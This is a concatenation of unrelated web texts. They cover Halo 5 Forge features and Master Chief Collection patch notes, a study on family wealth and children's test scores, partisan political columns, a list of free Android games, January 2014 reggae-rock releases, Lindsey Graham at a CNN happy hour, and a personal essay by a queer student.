Halo: The Fall of Reach – The Animated Series will be available on the Halo Channel on October 27. We’ll see you then.
Forging Ahead
This week, Josh Holmes and Lead Designer Tom French gave you a sneak peek at Halo 5’s brand new Forge mode, which has been truly ripped apart and built from scratch to allow you to build faster and easier. Watching the Forge feature set come together has been quite special – the team pored over years and years of community feedback to re-think Forge – the tools, the controls, the objects, lighting, colors, surfaces, terrain, selecting, grouping, and so much more. The true test of these efforts, though, was when we brought in some of the world’s finest Forgers, a select few from our Community Cartographer group. These five gentlemen (The Fated Fire, Psychoduck, Nokyard, Ducain23, and Warholic) were the first people outside of 343 walls to get hands-on with the new Forge and give us their uncensored feedback. Getting used to the new controls took a day or so, but you can hear some of their thoughts (and see early look at some of their creations, as well as new Forge tools) right here. It was a blast having these guys join us for a full week - building late into the night day after day, and providing real-time feedback, which resulted in our dev team making code changes and kicking off new nightly builds that incorporated the updates. Their feedback on all aspects of the new Forge will ultimately help us deliver an even better Forge in December, and we’re also looking forward to your feedback that’ll shape the future of Forge updates and improvements post-launch.
I personally wanted to see some more of what’s on the way in the new Forge, so this week, I grabbed some time from the legendary Tom French and producer Mike Byron, who showed us a closer look at some of the new features.
Take a look below, and click on each of the images to view the full-size GIF.
Colors
With over 100 colors, up to three color locations on most objects, and level reference colors, you have complete control over how you want your map to look.
FX
With fire, smoke, sparks, and more, you can add personality and storytelling to any map.
Grouping
Grouping objects allows you to work with collections of objects faster and easier than ever. Build it, group it, dupe it, and then you have two or more!
Magnets
Revised magnets give a live preview of what they will snap with when the object is released, creating a fluid experience with them. Magnet selection can even be influenced by targeting them. Cartographer tested, cartographer approved.
Projected terrain
So magical we don’t even know how it works (it just does)! Seamlessly blend terrain, rolling hills, and sweet jumps into the canvas or use them to build your own floating level above the ground.
Let’s Get Physical
Over the summer, we heard feedback that some of you who were thinking about grabbing the Halo 5: Guardians Limited Collector’s Edition prefer a physical disc instead of a digital copy, and we let you know that we’d provide an option for fans to exchange their digital copy for a physical copy at no additional cost. This week, with help from our friends over at Xbox, we announced the details of this program, which can be found here. The offer is good from October 20 through November 1, requires that you don’t redeem your digital code right away, and that you follow the instructions in the above link. To set expectations, arrival times of discs will vary, and while teams at Xbox will be making every attempt to deliver by October 27, it is not guaranteed. If not being able to play at midnight is a bummer, it’s worth the reminder that the code that is included with the LCE will allow you to pre-download the week prior to launch to ensure that you’re ready to rock on launch day.
REQonomics
The next blog in our series of REQ content arrived just this morning, where Josh discusses REQ economy and tuning. You’ll get an overview of your starting REQ bundle, how to earn REQ packs, average REQ Points (RP) earning rates, REQ Pack cost, and of course, a new sneak peek at nine new REQ Cards, including the Breach stance, Ruptive Assault Rifle skin, a Legendary rifle, and more.
Get all of the details by heading here.
Halo: The Master Chief Collection
Earlier this week, the latest content update for MCC entered certification. We’re anticipating that the update will be available early this coming week, and ahead of the update, are providing patch notes for what’s on the way. Take a look below.
Upcoming Halo: The Master Chief Collection Content Update Notes
Implemented new systems and temporary bans for matchmaking penalties. These include penalties for: Quits Betrayals Idling
Note: Leaving the game before finishing (any time from the start of voting until the game concludes) will result in a loss for your ranking and a penalty to your Xbox One reputation. After this update, if you quit, betray, or idle too many times during a set period of time, you will be temporarily banned from playing matchmaking. If you continue to engage in negative behavior after the temporary ban has lifted, you will continue to receive temporary bans that are subsequently longer in length.
Players will now receive a quit penalty and rank penalty for quitting any time after matchmaking voting begins in all matchmaking playlists, both ranked and unranked
Added matchmaking betrayal booting for Halo: Combat Evolved
Matchmaking voting now randomizes winner in the case of a tie, rather than selecting the left-most option
Made a variety of improvements to ranking calculation
Fixed an issue which could result in ranking down after winning a match
Emblems and clan tags, in addition to gamertags, are now hidden while searching for a match
Updated Team colors to always appear correctly in Forge mode
The level of menu music will now drop when other players join a lobby / are connected to other players
Fixed an issue where menu music could cut out after a game or on startup
The controller schematic for H1 "Boxer" now correctly matches the in-game control layout
Improved Classic/Remastered UI launch settings for Halo: CE and Halo 2 Campaign
Improved matchmaking messaging to players
Fixed an issue where lobby player positions could shuffle after a promotion to party leader
Fixed an issue where players could select and use nameplates that they had not unlocked
Fixed an issue where profiles could match into a game after the match started
Made a variety of fixes for players who could become stuck at the “Downloading Latest Data” screen
Fixed the glitched Who Needs Them? achievement
Improved a variety of compatibility issues
Made a variety of stability improvements
Following this content update, we’ll be releasing the next playlist update (which we detailed a bit last week). Lastly, the team has been making some back-end adjustments to improve matchmaking consistency across a variety of regions, and have seen improved for results for players in Australia and beyond across all playlists – keep us updated with your findings, and stay tuned for the latest on what’s to come.
Play of the Week
You might say that this week’s top play is rather non-traditional. In week’s prior, we’ve seen some pretty incredible snipes, multi-kills, getaways, Jackal kills, and more, but this week’s play is a whole new one. Oddly enough, the community member who submitted the clip, xGranadier, is actually the victim of this event. The star, in turn, is the Gungoose, which casually rolls up and decides to opt for a specific celebration over their fresh corpse on Bloodline CTF. I’ll let the Gungoose do rest of the…talking.
That’ll do for this week, friends. I’m happy to say that there is plenty more on the way, and also that I am particularly excited about Monday. Let’s do this again soon.
BravoA new study published in the March/April 2008 issue of the journal Child Development finds that family wealth might partly explain differences in test scores in school-age children. The study, conducted by researchers at New York University, also found that family wealth is positively associated with parenting behavior, home environment, and children's self-esteem.
Prior research has documented the association between children's cognitive achievement and the socioeconomic status of their parents as measured by education level, occupation, and income. Many of these studies focused on the effect of poverty--defined by family income--on children's achievement, but household wealth (i.e., net worth) has received little attention.
This new study used new methods, including data from a new national study (the Panel Study of Income Dynamics and its Child Development Supplement). It explored many functional forms and sources of wealth, looking at different mediating pathways of wealth from distinct sources, and analyzing how wealth affects children's cognitive achievement at different stages of childhood.
The researchers found a marked disparity in family wealth between Black and White families with young children, with White families owning more than 10 times as many assets as Black families. The study found that family wealth had a stronger association with cognitive achievement of school-aged children than that of preschoolers, and a stronger association with school-aged children's math than with their reading scores. Family wealth accumulated from different sources also was found to have a distinct influence on children at different developmental stages. Liquid assets, particularly holdings in stocks or mutual funds, were positively associated with school-aged children's test scores. Family wealth was associated with a higher quality home environment, better parenting behavior, and children's private school attendance.
The researchers suggest that the stronger impact of wealth on school-aged children may be because school-aged children benefit more from family wealth that is spent on educational resources that require substantial financial investment, such as private schools, extracurricular activities, and cultural experiences. Furthermore, older children may be more conscious of differences in wealth relative to their peers as they are exhibited in the quality of the learning environment, possessions, and the type of neighborhood where children live. These differences may influence their self-esteem and aspirations, which in turn are positively associated with their school performance.
"While wealth may help smooth consumption on a more short-term basis, the presence of wealth over time in a family (or extended family) may have a stronger impact of engendering a sense of economic security, future orientation, and the ability to take risks among all family members which, in turn, positively affect child development," according to W. Jean Yeung, professor of sociology at New York University and the lead author of the study.
Despite the marked disparity in wealth between Black and White families, the study found little evidence that wealth by itself explains the test score gaps between Black and White children. Those gaps were found to become less meaningful when child and family demographic characteristics and parents' income, education, and occupation were held constant. "Although wealth may not have a substantial short-term benefit in narrowing the Black-White achievement gap among young children, allowing and encouraging low-income families to accumulate wealth may improve family dynamics and foster a forward-looking attitude that may benefit children's development in the long run," said Yeung. "The financial effects of wealth would likely be observed later in life when school financing becomes an issue."
###
The study was funded by the Eunice Kennedy Shriver National Institute of Child Health and Human Development.
Summarized from Child Development, Vol. 79, Issue 2, Black-White Achievement Gap and Family Wealth by Yeung, WJ, and Conley, D (New York University). Copyright 2008 The Society for Research in Child Development, Inc. All rights reserved.The opinions expressed by columnists are their own and do not represent the views of Townhall.com.
During the 2016 election, the “Never Trump” conservative critics of Donald Trump predicted a catastrophe for the country if he was elected President. Well, as we approach the six-month anniversary, America is witnessing our most successful presidency since Ronald Reagan.
Contrary to worries from movement conservatives, the President assembled a stellar cabinet and appointed a solid strict constructionist, Justice Neil Gorsuch, to the Supreme Court.
He instituted a travel ban, upheld by the Supreme Court, on six majority Muslim countries that harbor terrorists and cannot provide adequate vetting of their citizens who want to visit the United States. While we await construction of the border wall, deportations of illegal aliens have increased and the flow of undocumented immigrants across the southern border has dropped dramatically.
The President is currently enjoying his second successful foreign trip. On his first overseas visit, he was greeted as a hero in Saudi Arabia and sternly warned Muslim leaders about the threat of radical Islamic terrorism. Fortunately, America now has a President who will speak the truth about the jihadist threat to civilization. In addition, Americans now can feel comfortable that their President will no longer apologize for their country, but will extol our virtues on foreign soil.
After his successful visit to the Middle East and the reestablishment of a close relationship with our biggest ally in the region, Israel, President Trump admonished our NATO allies to pay their fair share in military expenditures. This stern lecture was not well received by some NATO countries, but it was appreciated by leaders in Poland and other countries who are fulfilling their defense obligations.
As he embarked on his second foreign trip, it was quite fitting that the President’s first stop was in Poland, where he was given an enthusiastic welcome. At the G-20 summit, he finally met with Russian President Vladimir Putin and successfully negotiated a cease fire in Syria, while discussing other important topics such as the North Korean threat and cyber warfare. While the biased media focused on Russian interference in the 2016 election, President Trump focused on delivering results for the American people.
His significant foreign policy accomplishments notwithstanding, the biggest impact of President Trump has been on the nation’s economy. On Friday, the federal government announced another positive economic report. Last month, 222,000 jobs were created, significantly higher than economic forecasts. This year, the country is averaging 180,000 new jobs each month, much better than the average during the Obama years.
Last month, the unemployment rate held steady at a remarkable 4.4%. Wage growth edged upward 2.5% annually with the average work week increasing to 34.5 hours. In June, there were 160.1 million Americans in the labor force, an increase of 361,000 from the May report. Overall, the labor force participation rate improved to 62.8% as 94.8 million Americans are outside of the workforce, a decrease of 170,000 from last month.
While these job numbers are impressive, it will take time for the full Trump economic plan to take full effect. First the GOP Congress needs to pass a healthcare plan that will cut taxes, lower premiums and remove the individual mandate. Then, a tax cut plan needs to be passed that will provide relief to millions of Americans and give businesses an incentive to grow their operations in our country. Cutting the top corporate tax rate will also lure companies that have left the country back to the United States. The President will also create more jobs in the economy as he rebuilds our crumbling infrastructure and boosts our military spending as we follow the Reagan maxim of peace through strength.
While we await some action from the slow-moving GOP Congress, the President has been aggressively signing executive orders to improve our economy. One major step was removing the United States from the Paris Climate Accord. This treaty was never ratified by the United States Senate and would have unfairly penalized American businesses. By approving the Keystone and Dakota Access pipelines, President Trump has not only guaranteed more job creation, but he also helped ensure that our country will become energy independent.
In his first few months, the President has also cut harmful government regulations, unburdened the coal industry, and turned the EPA into an agency determined to improve the environment, not harm our economy. Furthermore, the falling gas prices are giving economic relief to millions of Americans. In |
see more project submissions from our readers here.
edited by: nick brink | designboomHave some time to kill and only your trusty Android phone to keep you company? Take a gander at some of the most exciting, engaging, and free games that you can download from the Google Play Store. We have a healthy mix including shooters, puzzle games, racing, and lots more. If you're itching for something new and you're able to stomach a few in-app purchases prompts, read on!
PUBG Mobile
It's pretty incredible how well PUBG Mobile plays on Android. This is a massive PvP battle royale game that pits 100 players against each other on a massive island loaded with weapons, ammo, tactical gear, and vehicles. You drop in as a solo player or as part of a team and must use all your best skills to take down your opponents until you're the last man standing. It's not unheard of for a popular PC or console release to find its way to Android, but you'll be surprised at how well PUBG plays on a smartphone. The developers have made it easier for mobile players to pick up and manage items, and have also added bots in the lowest ranks to help ease players into the game experience. Bluetooth controller support would be a nice addition, but the touch controls are some of the best I've seen for a shooter on mobile. It also allows you to scale back the graphics so you can enjoy smooth gameplay even when playing on an older device. If you've got a newer device, crank those settings to the max and enjoy one of the best looking mobile games I've played in a long while. PUBG Mobile somehow delivers all the epic moments you'd expect the PC game scaled down perfectly for mobile devices. Best of all, it's free to play and features four unique maps to choose from along with multiple game mode and your choice of playing in first- or third-person view. Get your squad together, and I'll see you on the battlegrounds! Download: PUBG Mobile (Free) Brawl Stars
Developed by Supercell, Brawl Stars is a fast-paced arena brawler that is unlike most other games on the Play Store. It's a departure from the Clash of Clans universe that has made Supercell a household name and instead lets players team up in a MOBA game that differentiates itself from others in the genre with its colorful and cartoony look that's backed by great gameplay variety. There are multiple game modes available, which rotate every couple of hours so there's always something new to play whenever you log into the app. These modes include: Gem Grab : teams collect gems which spawn at the center of the map, and the first team to collect and hold 10 or more gems for 15 seconds win
: teams collect gems which spawn at the center of the map, and the first team to collect and hold 10 or more gems for 15 seconds win Heist : teams must defend their safe of gems while strategically attacking the other team's safe.
: teams must defend their safe of gems while strategically attacking the other team's safe. Showdown : a Battle Royale mode with up to 10 players that's available for solo players or duos.
: a Battle Royale mode with up to 10 players that's available for solo players or duos. Bounty : teams battle to collect stars which are earned by kill opponents. The more kills you get without dying the bigger the star bounty on your own head.
: teams battle to collect stars which are earned by kill opponents. The more kills you get without dying the bigger the star bounty on your own head. Brawl Ball : a soccer match featuring the Brawl Stars cast. The first team to score two goals wins.
: a soccer match featuring the Brawl Stars cast. The first team to score two goals wins. Robo Rumble: a time-based special event where teams of three take on wave after wave of robot enemies that include boss robots with very high hitpoints and damage. Individually, each game mode is fun in its own unique way and could easily be its own standalone app, but by including all six modes on a rotating basis Supercell has elevated Brawl Stars to the next level. This is a really well-made game that just recently got a major update that overhauled the graphics with a fresh 3D-style design that looks even better. The only downside is the crate unlocking and card collecting aspects of the game, but at least it's all performance based rewards and doesn't require you to arbitrarily wait hours to unlock each crate. Download: Brawl Stars (Free w/IAPs) Stranger Things: The Game
Ostensibly a marketing tool for the second season of the Netflix series, Stranger Things: The Game is a surprisingly great game. All the characters, settings, and themes from the source material are converted into a pixel-retro action adventure game similar in gameplay style to the Adventures of Zelda. There's a full story to unfold as you start out controlling Hawkins Police Chief Jim Hopper, as he receives a late-night call about four missing children and heads out to investigate. Where other 2D adventure games try and use a digital d-pad for control, Stranger Things uses a simple tap control system that really works well. The game is a good mix of puzzle-solving and action, with characters to unlock and add to your party. There's a surprising amount of depth to this game and everything feels complete for a free game. It's nice to see Netflix publishing games based on its intellectual properties, and they deserve full credit along with the developers at BonusXP Inc. for going above and beyond here. This game could have been filled with ads, in-app purchases as is the trend with other free mobile games — but it's not. It's a standout game that just happens to double as a playable ad for a TV show. Download: Stranger Things: The Game (Free) Ancestor
Ancestor is a fast-paced puzzler mixed with a side-scrolling action runner. You'll need sharp reflexes and quick thinking if you have any hopes of getting far in this game. You play as a cloaked hero who must traverse dangerous lands filled with traps and enemies — all with the help of a mysterious orb that shoots lasers. Clear the path ahead by solving quick puzzles and shooting down enemies — including boss battles — as the game adapts to your skills and ups the difficulty as you go. It's a free game with in-app purchases available to customize your character and the laser orb, but you can also unlock all items by collecting the in-app currency during gameplay. Download: Ancestor (Free, IAPs) Pokémon Go
Pokémon Go Is still going strong nearly three years after it was announced, so chances are you're already out there exploring your city and attempting to catch 'em all. Developed by Niantic, Pokémon Go is the game that ushered in the new craze of games based on augmented reality, but it's the most fleshed out and fun to play. Pokémon Go is based on the Ingress platform, Niantic's first breakthrough game (which, coincidentally, was previously featured on this very list), and the game forces you to get out and explore your neighborhood as you search for wild Pokémon to catch and PokéStops to stock up on crucial items like Pokéballs. The game has evolved quite a bit since that first summer of 2016 and now features some great social events such as raids and most recently added trainer battles that finally let you battle your pals using your favorite Pokémon. Pokémon Go has managed to maintain it's status as one of the most popular mobile games, and it's still worth checking out in 2019! Download: Pokémon Go (Free, IAPs) Advertisement
Vainglory
Multiplayer Online Battle Arena (MOBA) games have been blowing up the PC gaming world recent years — think League of Legends or DOTA2. If you're looking for a quality MOBA game for your mobile device, one game has risen to the top: Vainglory. This game is the complete package, featuring all the frantic MOBA action fans of the genre have come to expect — jump into a quick match with random teammates and opponents, create your own party of friends and take on all comers, or chill offline and practice your strategies against bots. There are five hero classes featuring a total of 25 unique heroes to unlock, upgrade and take into battle. The touch controls are smooth and easy to pick up, so you'll be able to jump right into the heat of the battle instantly. As you fight your way down the lane, there's a significant upgrade system that branches out, allowing you to react and counter your enemies more effectively. If you're new to the MOBA genre, no worries! After introducing you to the gameplay fundamentals on the first launch, Vainglory also features the Academy, an extensive tutorial section that will help you bolster your skills and abilities in the game. There's also a ton of things to unlock, live events to participate in, and a bustling online community on Twitch, Jump in! Vainglory is a free download in the Google Play Store with optional in-app purchases available. Download: Vainglory (Free, w/IAPs) Asphalt 9: Legends
Asphalt 9: Legends is the latest entry in this celebrated mobile racing game franchise and brings more of the frantic arcade racing action you love. The Asphalt series has always skipped over all pretensions of realism — outside of the photo-realistic car renders — to provides an over-the-top, high-octane experience with all the fixings. Players can work their way through career mode where you unlock new rides and upgrades for your garage and cars, or take the competition online in multiplayer. The incredibly polished graphics and outstanding soundtrack make Asphalt 9 an adrenaline trip you won't soon forget. Download: Asphalt 9: Legends (Free, w/IAPs) Smash Hit
Smash Hit is the Android equivalent of a "greatest hit" title at this point. For a time, Smash Hit was one of the best-looking and smoothest to play games on the Google Play Store, and this minimalist target shooting game is still pretty fun to pick up and play in 2019 where players tap the screen to toss a marble and shatter glass obstacles. If you bump into something you lose marbles. Lose all your marbles and it's game over. Every section is littered with power-ups and fresh batches of marbles to keep you going. If you manage to keep hitting the marble refill crystals without missing, you can fire off two, three, or five marbles at once. Though it's a simple, on-rails shooter, Smash Hit's polished physics make for a massively accessible and compelling experience. If you love the developer's style of gameplay and design you should definitely check out their other cool game PinOut, a futuristic take on an endless pinball table. Download: Smash Hit (Free, w/ Pro upgrade) Alto's Odyssey
Alto's Odyssey is the highly anticipated sequel to Alto's Adventure, another fantastic free-to-play game on Android. Odyssey is an absolutely beautiful game that features simple controls and endless replayability. The game builds off of the physics introduced in Alto's Adventure and feels quite familiar except for Odyssey swapping the snowy mountain setting for a diverse setting that transitions from desert dunes to lush temple sections. Odyssey has introduced some fun new gameplay mechanics including hot air balloons, wall riding along rock features, and dust devils that will toss your character into the air. It all comes together to feel like a unique adventure, taking the best parts from the first game and adding new ways for linking tricks and exploring the slopes. As with the first game, Odyssey is free to download on Android with in-app purchases available for speeding up your progress through the game and removing ads. Download: Alto's Odyssey (Free, w/IAPs) Modern Strike Online: PRO FPS
Of all the free-to-play first-person shooters on the Google Play Store, Modern Strike Online stands out to me for its classic CounterStrike-style gameplay and how quick and easy it is to jump into a game — and isn't that the point? Modern Strike Online offers a pure online FPS experience packed with many great quick match options available. You earn experience as you play that levels you up to unlock new game modes. There are six game modes in total which include most of the standard fare you'd expect — free-for-all, team deathmatch, seek and destroy, and a hardcore mode. In-game currency can be bought via in-app purchases or earned via daily rewards, crates and generally kicking ass, which can then be spent on new weapons, armor, and accessories for your character. There's a decent amount of customization available for kitting, with over 30 types of weapons available to rent or buy. Yes, there's the occasional in-game ad and constant pressure to invest real cash (as is the case with most free mobile games these days) but it's not terribly invasive and there's plenty of fun and loot to be had relying on the free crates and daily rewards. Download: Modern Strike Online: PRO FPS (Free, w/IAPs) Clash Royale
If you've grown tired of Clash of Clans gameplay but still love the characters and world that the folks at Supercell have created, you should definitely check out Clash Royale. Unlock and upgrade troops, build your battle deck, and take on real-life opponents in real-time battles. Join or create a clan and share cards and strategies with friends from around the world. You'll need to employ quick thinking and genuine strategy to win, so you'll be compelled to keep tweaking your decks by working in new cards. This game's been around for a few years now, so there's a ton of grinding and chest unlocks ahead for newer players to rank up and unlock all the best troop cards and whatnot. It makes the in-app purchases all the more intriguing for anyone looking to upgrade faster and be somewhat competitive in the higher ranks. Nevertheless, it's still a really fun game to play in the lower ranks and especially against friends. Download: Clash Royale (Free, w/IAPs) Sky Force ReloadedRush Limbaugh is among the prominent conservatives who have decided hurricane models are a liberal conspiracy. Bill Pugliano/Getty Images
One of the stranger and more troubling political developments of the past 15 years has been the conservative response to scientists’ warnings of potentially catastrophic climate change. If climate change is real, to address it would probably require government intervention in industry. And conservatives are opposed to that. Therefore, climate change must not be real! The scientists are all lying.
And if the scientists are the sort of people who would lie to us about the climate, what else might they be lying about? Hurricanes, for one thing.
So goes the logic, if I may use the term loosely, of the influential conservative blogger Matt Drudge. On Thursday, as Hurricane Matthew approached the Florida coast with 130mph winds—so the scientists claim, at any rate!—Drudge spied an opportunity to plant his flag and catch out those nefarious forecasters and their politically motivated hurricane models. Here is what he decided would be a good idea to tweet:
Lest anyone get the mistaken impression that this was pure, shameless, and dangerously uninformed speculation on Drudge’s part, he followed this up by lodging some more specific allegations of meteorological misconduct. The National Weather Service, it turns out, is a secretive cabal whose members hoard the real weather data so that they can cook up fake forecasts to hoodwink the public into evacuating their homes for no reason.
Why would they do all that? What climate agenda would be served by government scientists triggering a mass evacuation for a storm that turns out to be illusory? Drudge does not deign to clarify. We’re left to imagine a liberal conspiracy so farsighted that it encompasses entire fields of science and multiple arms of government, yet so nearsighted that it doesn’t realize it would lose rather than gain credibility by making false predictions that will be proven wrong the moment the storm passes harmlessly by.
Lest you think these are the delusional ramblings of a lone wingnut, my colleague Ben Mathis-Lilley points out that Rush Limbaugh has espoused almost exactly the same theory. From Wonkette’s post on the relevant segment of today’s Rush Limbaugh Show:
The National Hurricane Center is part of the National Weather Service, which is part of the Commerce Department, which is part of the Obama administration, which by definition has been tainted just like the DOJ has. … With hurricane tracking and hurricane forecasting, I’ve been able to spot where I think they might be playing games because it’s in the interests of the left to have destructive hurricanes because then they can blame it on climate change, which they can continue desperately continue trying to sell.
Interestingly, Limbaugh winds up by acknowledging that Hurricane Matthew is a “serious bad storm,” perhaps to insulate himself from the angry recriminations if the damage is severe. Drudge seems to have missed that memo.
Is it possible that it’s actually Drudge and Limbaugh, and not the National Weather Service, who are misleading the public about natural disasters in order to score some cheap political points? Ah, but to believe that would require trusting professional scientists over conservative pundits to tell us the truth about science. And that in turn would suggest that perhaps we should do the same when it comes to climate science—which would then raise the specter once again of having to actually do something about it, perhaps via government intervention in industry.
Best not to go down that road.From Mike Pinto to Passafire, Dirty Heads to The Green, Iration and Pepper, 2013 was really a great year for new Reggae-Rock records. Be sure to check out the links below in case you missed any album that came out last year. As for 2014, the year is already heating up, as it looks to be another strong year of new music…
Be sure to read through The Pier’s Most Anticipated Albums of 2014 article, for a list of over 25 artist anticipating record releases in 2014. Below, you can checkout these 7 releases dropping in January. If there are any albums we missed, drop them in the comments below or on our Facebook or Twitter.
Check out the Album Releases from last year:
January 2014 Album Releases
Kbong – Rising EP
Release Date: January 7th
Known as the keyboardist for Stick Figure, Kevin Bong, through his own solo project as lead singer and song writer under Kbong, has released his first solo EP entitled Rising>. Released January 7th and debuting at #7 on the iTunes reggae charts the EP is made up of 4 tracks, including “In Session” featuring E.N Young.
You can pick up the Rising EP on iTunes now, by clicking HERE!
Aer – Self-Titled
Release Date: January 21st
On January 21st, Aer will be releasing their 12 track self-titled album under their own Aer, LLC label. “Won’t Laugh” and “Spades, Clubs & Diamonds” are projecting to be the albums singles. They also just released a new music video for the song, “Says She Loves Me”. The album was self-produced in Aer’s Boston studio. Their sound is more hip hop than reggae, but a great change up to the playlist and a must have album for 2014!
You can pick up Aeron iTunes now, by clicking HERE!
Three Legged Fox – We Are Electric
Release Date: January 21st
Philadelphia’s alternative–Reggae-Rock band, Three Legged Fox, will release their 4th studio album titled We Are Electric. Following 2011’s Always Anyway a record that hit #2 on the iTunes Reggae Chart, Produced at Soundmine Studios, the new album is set to include 12 tracks. “It’s an alternative rock record with a small touch of reggae here and there, as opposed to the other way around. There’s a song called ‘Mercy’ that has kind of a Nashville vibe that was something a little different for us …We worked hard to make sure that every song is evocative of the vibe of the overall album. Each one is it’s own musical journey.”
Read more about the album by clicking HERE!
You can pick up We Are Electric on iTunes now, by clicking HERE!
Wayne MarshallTru Colors
Release Date: January 21st
Jamaican reggae singjay Wayne Marshall will release Tru Colors, his first full-length album in over 10 years, and his debut studio release under the Marley label Ghetto Youths International. Released January 21, distributed through Thirty Tigers / Sony Red, the 13-track collection, produced primarily by Damian Marley, follows Marshall’s recent digital-only EP, Tru Colors and his 2003 VP Records’ LP, Marshall Law. Discussing his work with the Ghetto Youths International label in a press release Marshall is quoted, “I feel very good about the songs that we have put together and believe Tru Colors will be a stepping stone towards taking my career to the next level.”
Read more about the album by clicking HERE!
You can pick up Tru Colors on iTunes now, by clicking HERE!
The Mighty Mystic – Concrete World
Release Date: January 28th
On January 28th, Mighty Mystic will be releasing his 2nd full length album titled Concrete World. The album is being released digitally through VP Records and is his first album in 4 years. Concrete World includes 14 tracks with guest appearances by Stephen Thunder & Michael Charles. The album received production from the legendary Tony ‘CD’ Kelly, Stephen Thunder, Mike Cip, the Thunder Band, Jourdan Orvosh & Chance One. Jamaica-born, Mighty Mystic is the younger brother to former Jamaican Prime Minister, Andrew Holness.
You can pick up Concrete World on iTunes now, by clicking HERE!
Sidereal – Third Times The Charm EP
Release Date: January 28th
The Florida quartet, following 2013’s EP On The Rocks, Sidereal is set to release their third EP, aptly titled Third Times The Charm. Traveling up to record in Nashville, TN this past September & after two days in Castle Recording Studio, Sidereal was able to lay down 4 tracks, “Fire Drink,” “Circles,” “Find a Beach” and “Apple.” The band also spent time in Orlando, FL to film a music video for “Find a Beach,” due out later this year. As Sidereal continues to tour, this band is definitely an up and coming band to watch this year.
House of Shem – Harmony
Release Date: January 28th
After releasing their new record in New Zealand back on December 6th, House of Shem has signed a US & Europe distribution deal with VPAL Music (VP Records Music Group), setting a release date for Harmony on January 28th. The 12 tracks of Harmony follow the 2010’s Island Vibration which debuted #1 on the New Zealand Top 40 album chart and is currently certified Gold. The third album for this Kiwi reggae outfit was recorded in a variety of studios across New Zealand throughout 2013 and mixed at the Marley’s Tuff Gong studio in Jamaica with the legendary Errol Brown, producing and engineering the release.
You can pick up Harmony on iTunes now, by clicking HERE!
Article By: Aaron Solomon
Click The Banner Below To Read Our Most Anticipated Albums of 2014BOULDER, Colo. -- Low poll numbers almost kept him out of Wednesday's "undercard" CNBC debate, but Sen. Lindsey O. Graham's presidential campaign made it to Colorado -- and took him into territory where few campaigns would tread. Graham (R-S.C.) was the inaugural guest at CNN's "Politics on Tap" happy hour, its first celebrity bartender and its first participant in a twist on a somewhat salacious name game usually reserved for slumber parties.
Graham, whose family owned a bar in Central, S.C., took to the evening with aplomb, posing for pictures and joking with the journalists and activists who'd RSVP'd. Egged on by CNN's David Chalian and Dana Bash, he poured pints and shots for party attendees.
"To the Donald!" Graham said, after pouring several rounds of Jack Daniel's and joining in a toast.
David Weigel/The Washington Post
Shortly thereafter, Bash conducted an interview that veered between jokes and pathos. The altitude of the city (5,430 feet above sea level) and the potency of the spirits loosened the evening considerably; Graham, who does not typically hold his tongue, dished about diplomatic trips, mocked his 2014 primary opponents, and praised the ability of Sen. John McCain (R-Ariz.) and former secretary of state Hillary Rodham Clinton to hold their liquor.
"John and Hillary were drinking, toasting; they were with others I won't name because they have political futures," Graham said. "I don't drink very well, as you can tell from behind the bar. I was drinking water, pretending it was vodka. I had to go to the bathroom, before they stopped drinking."
Bash concluded the lighthearted part of the evening with a game. "There is a fun bar game, which I will clean up, because we are in mixed company, and on television," said Bash. "So, I'm going to call it: Date, marry, or make disappear forever."
There were laughs and murmurs from the audience. The game Bash was referring to had an unprintable name; "make disappear forever" was a stand-in for "kill," and "date" was taking the place of a word that, in Bash's words, "rhymes with truck." The choices were Hillary Clinton, Carly Fiorina, and Sarah Palin.
"You don't want me to do the Mormon thing here," said Graham, an apparent reference to plural marriage.
"Date, marry, or make disappear forever," said Bash. "Take your time, senator."
Graham, a natural wit, found his way around the question. "Date" came first. "Sarah Palin -- we'll go hunting on our first date," he said. Next was "marry," an easy joke set-up.
"Carly, because she's rich," said Graham.
When Bash pressed, and asked Graham if he would erase the existence of Hillary Clinton, he was ready with the punchline.
"No, but is she rich? She said she was flat broke."
The game ended there, and Bash moved on to Graham's opinion of the debate rules that had stuck him in little-watched "undercard" contests.
"I think it sucks," he said. "The whole concept is flawed. With all due respect, I know there are a lot of us running, but I don't think I'm an undercard candidate when it comes to national security. I think I've got something to offer. And polling, at this point, is based on celebrity or soundbites. If you had a TV show, you'll do better than someone who didn't have a TV show."
Despite everything CNN had just inflicted upon him, Graham had some praise for the network. Its undercard debate at the Ronald Reagan Presidential Library had featured a live audience. Fox News's debate, in Cleveland, had not.
"The problem was that we were in an arena built for 30,000 people, and no one was there," Graham said. "You'd tell a joke, and no one laughed. Kind of like right now."
1 of 46 Full Screen Autoplay Close Skip Ad × Clinton on the campaign trail at the Iowa State Fair and New Hampshire View Photos Former secretary of state Hillary Rodham Clinton has hit the ground running, visiting the key states on her quest to become the Democratic nominee for president. Caption The former secretary of state, senator and first lady is the Democratic nominee for president. July 31, 2016 Hillary Clinton is seen aboard the campaign bus in Cleveland on the third day of a bus tour through Pennsylvania and Ohio. Melina Mara/The Washington Post Buy Photo Wait 1 second to continue.feature image via littlemiu.tumblr.com
If you’re at all like me, it is possible that you have been in a situation at some point where it is appropriate to compare your life to The Chronicles of Narnia.
I recognize that there could be a variety of reasons for this to happen, so to clear it up real quick here are three examples of Narnia-like scenarios that I am NOT going to talk about right now:
1. “OMG the animals are talking!” Or: that time you got high with your best friend in the middle of the woods.
2. “DUDE! The main characters in The Chronicles of Narnia have to come out of a wardrobe to get to Narnia at some point and a wardrobe is basically like a pretentious version of a closet!” Or: that time you came out of the closet.
3. “Why the fuck am I surrounded by people who constantly feel the need to make questionable religious allusions for no reason?” Or: that time you accidentally wandered into a Bible study when you were looking for the student-athlete luncheon, but then you realized that this Bible study and the student-athlete luncheon were actually the same thing and no one told you that you were supposed to have a working knowledge of the Bible in order to play basketball at this school.
(Ok, so maybe that last thing just happened to me.)
No. What I’m talking about here has a lot more to do with feelings. Specifically, the feeling that the world that I am currently living in, much like Narnia, cannot possibly be real. Also, the feeling that any comfort or safety I may have right now is only temporary; the feeling that I can be thrust out of this fake world at any minute without warning.
I am a twenty-something queer kid who grew up in a conservative, south-Texas town, now lives in a sheltered but liberal college environment in New York, and is about to graduate into a reality of rampant unemployment that – if I’m not so lucky – could possibly send me hurtling back into the conservative Texas world I’ve so vehemently renounced. Simply put, I exist in two different planes; my past in Texas, and my dreams of a future in New York. And I’m terrified that the one that I currently exist in will suddenly disappear.
